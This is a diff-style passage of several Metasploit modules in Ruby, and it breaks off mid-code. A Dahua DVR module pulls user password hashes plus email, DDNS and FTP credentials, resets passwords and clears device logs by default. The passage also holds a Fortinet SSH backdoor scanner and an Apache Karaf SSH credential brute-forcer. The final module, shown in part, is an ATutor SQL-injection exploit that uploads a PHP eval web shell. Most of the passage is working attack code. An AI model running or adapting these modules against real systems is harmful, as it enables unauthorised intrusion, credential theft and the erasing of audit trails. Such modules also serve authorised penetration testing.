'Jon Hart <jon_hart[at]rapid7.com>', # improved metasploit module
|
||||
'Nathan McBride' # regex extraordinaire
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2013-6117' ],
|
||||
[ 'URL', 'https://depthsecurity.com/blog/dahua-dvr-authentication-bypass-cve-2013-6117' ]
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultAction' => 'VERSION',
|
||||
'Actions' =>
|
||||
[
|
||||
[ 'CHANNEL', { 'Description' => 'Obtain the channel/camera information from the DVR' } ],
|
||||
[ 'DDNS', { 'Description' => 'Obtain the DDNS settings from the DVR' } ],
|
||||
[ 'EMAIL', { 'Description' => 'Obtain the email settings from the DVR' } ],
|
||||
[ 'GROUP', { 'Description' => 'Obtain the group information the DVR' } ],
|
||||
[ 'NAS', { 'Description' => 'Obtain the NAS settings from the DVR' } ],
|
||||
[ 'RESET', { 'Description' => 'Reset an existing user\'s password on the DVR' } ],
|
||||
[ 'SERIAL', { 'Description' => 'Obtain the serial number from the DVR' } ],
|
||||
[ 'USER', { 'Description' => 'Obtain the user information from the DVR' } ],
|
||||
[ 'VERSION', { 'Description' => 'Obtain the version of the DVR' } ]
|
||||
]
|
||||
)
|
||||
|
||||
deregister_options('RHOST')
|
||||
register_options([
|
||||
OptString.new('USERNAME', [false, 'A username to reset', '888888']),
|
||||
OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']),
|
||||
OptBool.new('CLEAR_LOGS', [true, %q(Clear the DVR logs when we're done?), true]),
|
||||
Opt::RPORT(37777)
|
||||
])
|
||||
end
|
||||
|
||||
U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00"
|
||||
# Payload to grab version of the DVR
|
||||
VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
# Payload to grab Email Settings of the DVR
|
||||
EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
||||
"\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
# Payload to grab DDNS Settings of the DVR
|
||||
DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
||||
"\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
# Payload to grab NAS Settings of the DVR
|
||||
NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \
|
||||
"\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
# Payload to grab the Channels that each camera is assigned to on the DVR
|
||||
CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
# Payload to grab the Users Groups of the DVR
|
||||
GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
# Payload to grab the Users and their hashes from the DVR
|
||||
USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
# Payload to grab the Serial Number of the DVR
|
||||
SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
# Payload to clear the logs of the DVR
|
||||
CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
def setup
|
||||
@password = datastore['PASSWORD']
|
||||
@password ||= Rex::Text.rand_text_alpha(6)
|
||||
end
|
||||
|
||||
def grab_version
|
||||
connect
|
||||
sock.put(VERSION)
|
||||
data = sock.get_once
|
||||
return unless data =~ /[\x00]{8,}([[:print:]]+)/
|
||||
ver = Regexp.last_match[1]
|
||||
print_good("#{peer} -- version: #{ver}")
|
||||
end
|
||||
|
||||
def grab_serial
|
||||
connect
|
||||
sock.put(SN)
|
||||
data = sock.get_once
|
||||
return unless data =~ /[\x00]{8,}([[:print:]]+)/
|
||||
serial = Regexp.last_match[1]
|
||||
print_good("#{peer} -- serial number: #{serial}")
|
||||
end
|
||||
|
||||
def grab_email
|
||||
connect
|
||||
sock.put(EMAIL)
|
||||
return unless (response = sock.get_once)
|
||||
data = response.split('&&')
|
||||
print_good("#{peer} -- Email Settings:")
|
||||
return unless data.first =~ /([\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\.?+:\d+)/i
|
||||
if mailhost = Regexp.last_match[1].split(':')
|
||||
print_status("#{peer} -- Server: #{mailhost[0]}") unless mailhost[0].blank?
|
||||
print_status("#{peer} -- Server Port: #{mailhost[1]}") unless mailhost[1].blank?
|
||||
print_status("#{peer} -- Destination Email: #{data[1]}") unless data[1].blank?
|
||||
mailserver = "#{mailhost[0]}"
|
||||
mailport = "#{mailhost[1]}"
|
||||
muser = "#{data[5]}"
|
||||
mpass = "#{data[6]}"
|
||||
end
|
||||
return if muser.blank? && mpass.blank?
|
||||
print_good(" SMTP User: #{data[5]}")
|
||||
print_good(" SMTP Password: #{data[6]}")
|
||||
return unless mailserver.blank? && mailport.blank? && muser.blank? && mpass.blank?
|
||||
report_email_cred(mailserver, mailport, muser, mpass)
|
||||
end
|
||||
|
||||
def grab_ddns
|
||||
connect
|
||||
sock.put(DDNS)
|
||||
return unless (response = sock.get_once)
|
||||
data = response.split(/&&[0-1]&&/)
|
||||
ddns_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Dahua DDNS Settings',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Peer', 'DDNS Service', 'DDNS Server', 'DDNS Port', 'Domain', 'Username', 'Password']
|
||||
)
|
||||
data.each_with_index do |val, index|
|
||||
next if index == 0
|
||||
val = val.split("&&")
|
||||
ddns_service = val[0]
|
||||
ddns_server = val[1]
|
||||
ddns_port = val[2]
|
||||
ddns_domain = val[3]
|
||||
ddns_user = val[4]
|
||||
ddns_pass = val[5]
|
||||
ddns_table << [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]
|
||||
unless ddns_server.blank? && ddns_port.blank? && ddns_user.blank? && ddns_pass.blank?
|
||||
if datastore['VERBOSE']
|
||||
ddns_table.print
|
||||
end
|
||||
report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def grab_nas
|
||||
connect
|
||||
sock.put(NAS)
|
||||
return unless (data = sock.get_once)
|
||||
print_good("#{peer} -- NAS Settings:")
|
||||
server = ''
|
||||
port = ''
|
||||
if data =~ /[\x00]{8,}[\x01][\x00]{3,3}([\x0-9a-f]{4,4})([\x0-9a-f]{2,2})/
|
||||
server = Regexp.last_match[1].unpack('C*').join('.')
|
||||
port = Regexp.last_match[2].unpack('S')
|
||||
end
|
||||
if /[\x00]{16,}(?<ftpuser>[[:print:]]+)[\x00]{16,}(?<ftppass>[[:print:]]+)/ =~ data
|
||||
ftpuser.strip!
|
||||
ftppass.strip!
|
||||
unless ftpuser.blank? || ftppass.blank?
|
||||
print_good("#{peer} -- NAS Server: #{server}")
|
||||
print_good("#{peer} -- NAS Port: #{port}")
|
||||
print_good("#{peer} -- FTP User: #{ftpuser}")
|
||||
print_good("#{peer} -- FTP Pass: #{ftppass}")
|
||||
report_creds(
|
||||
host: server,
|
||||
port: port,
|
||||
user: ftpuser,
|
||||
pass: ftppass,
|
||||
type: "FTP",
|
||||
active: true)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def grab_channels
|
||||
connect
|
||||
sock.put(CHANNELS)
|
||||
data = sock.get_once.split('&&')
|
||||
channels_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Dahua Camera Channels',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['ID', 'Peer', 'Channels']
|
||||
)
|
||||
return unless data.length > 1
|
||||
data.each_with_index do |val, index|
|
||||
number = index.to_s
|
||||
channels = val[/([[:print:]]+)/]
|
||||
channels_table << [ number, peer, channels ]
|
||||
end
|
||||
channels_table.print
|
||||
end
|
||||
|
||||
def grab_users
|
||||
connect
|
||||
sock.put(USERS)
|
||||
return unless (response = sock.get_once)
|
||||
data = response.split('&&')
|
||||
usercount = 0
|
||||
users_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Dahua Users Hashes and Rights',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['Peer', 'Username', 'Password Hash', 'Groups', 'Permissions', 'Description']
|
||||
)
|
||||
data.each do |val|
|
||||
usercount += 1
|
||||
user, md5hash, groups, rights, name = val.match(/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$/).captures
|
||||
users_table << [ peer, user, md5hash, groups, rights, name]
|
||||
# Write the dahua hash to the database
|
||||
hash = "#{rhost} #{user}:$dahua$#{md5hash}"
|
||||
report_hash(rhost, rport, user, hash)
|
||||
# Write the vulnerability to the database
|
||||
report_vuln(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
sname: 'dvr',
|
||||
name: 'Dahua Authentication Password Hash Exposure',
|
||||
info: "Obtained password hash for user #{user}: #{md5hash}",
|
||||
refs: references
|
||||
)
|
||||
end
|
||||
users_table.print
|
||||
end
|
||||
|
||||
def grab_groups
|
||||
connect
|
||||
sock.put(GROUPS)
|
||||
return unless (response = sock.get_once)
|
||||
data = response.split('&&')
|
||||
groups_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Dahua groups',
|
||||
'Indent' => 1,
|
||||
'Columns' => ['ID', 'Peer', 'Group']
|
||||
)
|
||||
data.each do |val|
|
||||
number = "#{val[/(([\d]+))/]}"
|
||||
groups = "#{val[/(([a-z]+))/]}"
|
||||
groups_table << [ number, peer, groups ]
|
||||
end
|
||||
groups_table.print
|
||||
end
|
||||
|
||||
def reset_user
|
||||
connect
|
||||
userstring = datastore['USERNAME'] + ":Intel:" + @password + ":" + @password
|
||||
u1 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
u2 = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
u3 = "\xa6\x00\x00\x00#{userstring.length.chr}\x00\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00" \
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + userstring
|
||||
sock.put(u1)
|
||||
sock.put(u2)
|
||||
sock.put(u3)
|
||||
sock.get_once
|
||||
sock.put(u1)
|
||||
return unless sock.get_once
|
||||
print_good("#{peer} -- user #{datastore['USERNAME']}'s password reset to #{@password}")
|
||||
end
|
||||
|
||||
def clear_logs
|
||||
connect
|
||||
sock.put(CLEAR_LOGS1)
|
||||
sock.put(CLEAR_LOGS2)
|
||||
print_good("#{peer} -- logs cleared")
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def run_host(_ip)
|
||||
begin
|
||||
connect
|
||||
sock.put(U1)
|
||||
data = sock.recv(8)
|
||||
disconnect
|
||||
return unless data == DVR_RESP
|
||||
print_good("#{peer} -- Dahua-based DVR found")
|
||||
report_service(host: rhost, port: rport, sname: 'dvr', info: "Dahua-based DVR")
|
||||
|
||||
case action.name.upcase
|
||||
when 'CHANNEL'
|
||||
grab_channels
|
||||
when 'DDNS'
|
||||
grab_ddns
|
||||
when 'EMAIL'
|
||||
grab_email
|
||||
when 'GROUP'
|
||||
grab_groups
|
||||
when 'NAS'
|
||||
grab_nas
|
||||
when 'RESET'
|
||||
reset_user
|
||||
when 'SERIAL'
|
||||
grab_serial
|
||||
when 'USER'
|
||||
grab_users
|
||||
when 'VERSION'
|
||||
grab_version
|
||||
end
|
||||
|
||||
clear_logs if datastore['CLEAR_LOGS']
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
|
||||
def report_hash(rhost, rport, user, hash)
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: 'dahua_dvr',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: fullname,
|
||||
origin_type: :service,
|
||||
private_data: hash,
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: 'dahua_hash',
|
||||
username: user
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)
|
||||
service_data = {
|
||||
address: ddns_server,
|
||||
port: ddns_port,
|
||||
service_name: 'ddns settings',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: fullname,
|
||||
origin_type: :service,
|
||||
private_data: ddns_pass,
|
||||
private_type: :password,
|
||||
username: ddns_user
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def report_email_cred(mailserver, mailport, muser, mpass)
|
||||
service_data = {
|
||||
address: mailserver,
|
||||
port: mailport,
|
||||
service_name: 'email settings',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: fullname,
|
||||
origin_type: :service,
|
||||
private_data: mpass,
|
||||
private_type: :password,
|
||||
username: muser
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
|
@ -0,0 +1,79 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Fortinet
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Fortinet SSH Backdoor Scanner',
|
||||
'Description' => %q{
|
||||
This module scans for the Fortinet SSH backdoor.
|
||||
},
|
||||
'Author' => [
|
||||
'operator8203 <operator8203[at]runbox.com>', # PoC
|
||||
'wvu' # Module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2016-1909'],
|
||||
['EDB', '39224'],
|
||||
['PACKETSTORM', '135225'],
|
||||
['URL', 'http://seclists.org/fulldisclosure/2016/Jan/26'],
|
||||
['URL', 'https://blog.fortinet.com/post/brief-statement-regarding-issues-found-with-fortios']
|
||||
],
|
||||
'DisclosureDate' => 'Jan 09 2016',
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(22)
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
|
||||
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
|
||||
])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
ssh_opts = {
|
||||
port: datastore['RPORT'],
|
||||
auth_methods: ['fortinet-backdoor']
|
||||
}
|
||||
|
||||
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
|
||||
|
||||
begin
|
||||
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
|
||||
Net::SSH.start(
|
||||
ip,
|
||||
'Fortimanager_Access',
|
||||
ssh_opts
|
||||
)
|
||||
end
|
||||
rescue Net::SSH::Exception => e
|
||||
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
|
||||
return
|
||||
end
|
||||
|
||||
if ssh
|
||||
print_good("#{ip}:#{rport} - Logged in as Fortimanager_Access")
|
||||
report_vuln(
|
||||
:host => ip,
|
||||
:name => self.name,
|
||||
:refs => self.references,
|
||||
:info => ssh.transport.server_version.version
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,138 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'net/ssh'
|
||||
require 'metasploit/framework/login_scanner/ssh'
|
||||
require 'metasploit/framework/credential_collection'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::CommandShell
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
DEFAULT_USERNAME = 'karaf'
|
||||
DEFAULT_PASSWORD = 'karaf'
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Apache Karaf Login Utility',
|
||||
'Description' => %q{
|
||||
This module attempts to log into Apache Karaf's SSH. If the TRYDEFAULTCRED option is
|
||||
set, then it will also try the default 'karaf' credential.
|
||||
},
|
||||
'Author' => [
|
||||
'Samuel Huckins',
|
||||
'Brent Cook',
|
||||
'Peer Aagaard',
|
||||
'Greg Mikeska',
|
||||
'Dev Mohanty'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
# TODO Set default user, pass
|
||||
Opt::RPORT(8101),
|
||||
OptBool.new('TRYDEFAULTCRED', [true, 'Specify whether to try default creds', true])
|
||||
], self.class
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Opt::Proxies,
|
||||
OptBool.new('STOP_ON_SUCCESS', [ false, '', true]),
|
||||
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
||||
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
|
||||
]
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def gather_proof
|
||||
proof = ''
|
||||
begin
|
||||
Timeout.timeout(5) do
|
||||
proof = ssh_socket.exec!("shell:info\n").to_s
|
||||
end
|
||||
rescue Timeout::Error
|
||||
end
|
||||
proof
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
@ip = ip
|
||||
print_status("Attempting login to #{ip}:#{rport}...")
|
||||
|
||||
cred_collection = Metasploit::Framework::CredentialCollection.new(
|
||||
blank_passwords: datastore['BLANK_PASSWORDS'],
|
||||
pass_file: datastore['PASS_FILE'],
|
||||
password: datastore['PASSWORD'],
|
||||
user_file: datastore['USER_FILE'],
|
||||
userpass_file: datastore['USERPASS_FILE'],
|
||||
username: datastore['USERNAME'],
|
||||
user_as_pass: datastore['USER_AS_PASS']
|
||||
)
|
||||
|
||||
if datastore['TRYDEFAULTCRED']
|
||||
if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
|
||||
cred_collection.add_public(DEFAULT_USERNAME)
|
||||
cred_collection.add_private(DEFAULT_PASSWORD)
|
||||
else
|
||||
cred_collection.username = DEFAULT_USERNAME
|
||||
cred_collection.password = DEFAULT_PASSWORD
|
||||
end
|
||||
end
|
||||
|
||||
scanner = Metasploit::Framework::LoginScanner::SSH.new(
|
||||
host: ip,
|
||||
port: rport,
|
||||
cred_details: cred_collection,
|
||||
proxies: datastore['Proxies'],
|
||||
stop_on_success: datastore['STOP_ON_SUCCESS'],
|
||||
connection_timeout: datastore['SSH_TIMEOUT'],
|
||||
framework: framework,
|
||||
framework_module: self,
|
||||
)
|
||||
|
||||
scanner.scan! do |result|
|
||||
credential_data = result.to_h
|
||||
credential_data.merge!(
|
||||
module_fullname: self.fullname,
|
||||
workspace_id: myworkspace_id
|
||||
)
|
||||
case result.status
|
||||
when Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}'"
|
||||
credential_core = create_credential(credential_data)
|
||||
credential_data[:core] = credential_core
|
||||
create_credential_login(credential_data)
|
||||
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
if /key length too short/i === result.proof.message
|
||||
vprint_brute :level => :verror, :ip => ip, :msg => "Could not connect to Apache Karaf: #{result.proof} (net/ssh out of date)"
|
||||
else
|
||||
vprint_brute :level => :verror, :ip => ip, :msg => "Could not connect to Apache Karaf: #{result.proof}"
|
||||
end
|
||||
|
||||
scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
|
||||
invalidate_login(credential_data)
|
||||
when Metasploit::Model::Login::Status::INCORRECT
|
||||
vprint_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
|
||||
invalidate_login(credential_data)
|
||||
scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
|
||||
else
|
||||
invalidate_login(credential_data)
|
||||
scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,339 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a SQL Injection vulnerability and an authentication weakness
|
||||
vulnerability in ATutor. This essentially means an attacker can bypass authenication
|
||||
and reach the administrators interface where they can upload malcious code.
|
||||
|
||||
You are required to login to the target to reach the SQL Injection, however this
|
||||
can be done as a student account and remote registration is enabled by default.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-2555' ],
|
||||
[ 'URL', 'http://www.atutor.ca/' ] # Official Website
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'DisclosureDate' => 'Mar 1 2016',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
|
||||
OptString.new('USERNAME', [true, 'The username to authenticate as']),
|
||||
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
|
||||
],self.class)
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_error(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_good(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def check
|
||||
# the only way to test if the target is vuln
|
||||
begin
|
||||
test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
|
||||
rescue Msf::Exploit::Failed => e
|
||||
vprint_error(e.message)
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if test_injection(test_cookie)
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def create_zip_file
|
||||
zip_file = Rex::Zip::Archive.new
|
||||
@header = Rex::Text.rand_text_alpha_upper(4)
|
||||
@payload_name = Rex::Text.rand_text_alpha_lower(4)
|
||||
@plugin_name = Rex::Text.rand_text_alpha_lower(3)
|
||||
|
||||
path = "#{@plugin_name}/#{@payload_name}.php"
|
||||
register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}")
|
||||
|
||||
zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
|
||||
zip_file.pack
|
||||
end
|
||||
|
||||
def exec_code
|
||||
send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),
|
||||
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
|
||||
})
|
||||
end
|
||||
|
||||
def upload_shell(cookie)
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")
|
||||
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")
|
||||
data = post_data.to_s
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla'
|
||||
})
|
||||
|
||||
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla',
|
||||
})
|
||||
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla',
|
||||
})
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
# auth failed if we land here, bail
|
||||
fail_with(Failure::Unknown, "Unable to upload php code")
|
||||
return false
|
||||
end
|
||||
|
||||
def get_hashed_password(token, password, bypass)
|
||||
if bypass
|
||||
return Rex::Text.sha1(password + token)
|
||||
else
|
||||
return Rex::Text.sha1(Rex::Text.sha1(password) + token)
|
||||
end
|
||||
end
|
||||
|
||||
def login(username, password, bypass)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "login.php"),
|
||||
'agent' => 'Mozilla',
|
||||
})
|
||||
|
||||
token = $1 if res.body =~ /\) \+ \"(.*)\"\);/
|
||||
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/
|
||||
if bypass
|
||||
password = get_hashed_password(token, password, true)
|
||||
else
|
||||
password = get_hashed_password(token, password, false)
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "login.php"),
|
||||
'vars_post' => {
|
||||
'form_password_hidden' => password,
|
||||
'form_login' => username,
|
||||
'submit' => 'Login'
|
||||
},
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla'
|
||||
})
|
||||
cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/
|
||||
|
||||
# this is what happens when no state is maintained by the http client
|
||||
if res && res.code == 302
|
||||
